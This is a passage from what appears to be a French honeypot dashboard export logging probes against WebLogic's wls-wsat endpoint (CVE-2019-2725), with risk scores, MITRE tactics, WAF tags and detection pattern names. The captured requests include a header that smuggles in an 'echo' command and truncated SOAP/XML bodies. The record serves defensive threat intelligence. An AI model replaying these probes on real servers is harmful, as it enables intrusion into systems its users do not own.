"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:04 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /wls-wsat/CoordinatorPortType
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /wls-wsat/CoordinatorPortType UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/wls-wsat/CoordinatorPortType
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/wls-wsat/CoordinatorPortType
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
WebLogic wls-wsat
Ligne de requête
POST /wls-wsat/CoordinatorPortType HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.
Requête brute (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml cmd:echo cve-2019-2725 Content-Length:206193 <?xml version="1.0" enco
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "99e47b274371fad76141ed1627f3bcdf29dce19a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.752319525626577,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 13,
"anomaly_count": 0,
"campaign_key": "d2e304c58e5574d46a11e402b09e0dcd2550f6c4",
"event_fingerprint": "e444dfd56f7cf7dfce78a017248baf6c57b64aa5",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0602"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"WebLogic wls-wsat"
],
"pattern_ids": [
"pat-0842",
"pat-0602"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "63c7de0e083fab34f88a1aa1a5bd107a",
"path_pattern_hash": "16111671401e187b64b702a8ecb56bdf"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\ncmd:echo cve-2019-2725\r\nContent-Length:206193\r\n\r\n<?xml version=\"1.0\" enco",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"evidence": {
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\ncmd:echo cve-2019-2725\r\nContent-Length:206193\r\n\r\n<?xml version=\"1.0\" enco",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "3795e3ae22002876d66272482bc0eec246924250",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_probe_weblogic_wls",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:04 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /wls-wsat/CoordinatorPortType
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /wls-wsat/CoordinatorPortType UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
70
Recommandation
Investiguer
Tags
950079:sqli-19
950191:xss-7
950319:lfi-14
950326:rce-0
Cible HTTP
POST
/wls-wsat/CoordinatorPortType
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/wls-wsat/CoordinatorPortType
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 11 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
WebLogic wls-wsat
CRS 941130
LFI Double-dot bypass
Ligne de requête
POST /wls-wsat/CoordinatorPortType HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
xss-7
lfi-14
rce-0
rce-14
ssrf-3
nosqli-3
body-entropy
Payload (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.
Requête brute (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Content-Length:5338 <soapenv:Envelope xmlns:soapenv="http://schemas.xm
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "99e47b274371fad76141ed1627f3bcdf29dce19a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 5.4699163905394546,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 17,
"anomaly_count": 0,
"campaign_key": "3e5d9bccabd1e7b6aebf11a92a1ff1df98e156e7",
"event_fingerprint": "e444dfd56f7cf7dfce78a017248baf6c57b64aa5",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"WebLogic wls-wsat",
"CRS 941130",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "eb2cea067ef35643f3c064532d794931",
"path_pattern_hash": "16111671401e187b64b702a8ecb56bdf"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950191:xss-7",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950650:body-entropy"
],
"waf_rule_names": [
"sqli-19",
"xss-7",
"lfi-14",
"rce-0",
"rce-14",
"ssrf-3",
"nosqli-3",
"body-entropy"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:5338\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xm",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"evidence": {
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950191:xss-7",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950650:body-entropy"
],
"waf_rule_names": [
"sqli-19",
"xss-7",
"lfi-14",
"rce-0",
"rce-14",
"ssrf-3",
"nosqli-3",
"body-entropy"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:5338\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xm",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f1fc01a199a25d9d85909abce8498d0a038755b8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 11 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950191:xss-7",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950650:body-entropy",
"http_base64_payload",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_probe_weblogic_wls",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:04 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��V�|;� �c4��Q�Z�2�a�5� ��-�X# �� S�I���k�`)���$(�2G���{�� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��V�|;� �c4��Q�Z�2�a�5� ��-�X# �� S�I���k�`)���$(�2G���{�� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��V�|;� �c4��Q�Z�2�a�5� ��-�X# �� S�I���k�`)���$(�2G���{�� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9308592900783066,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
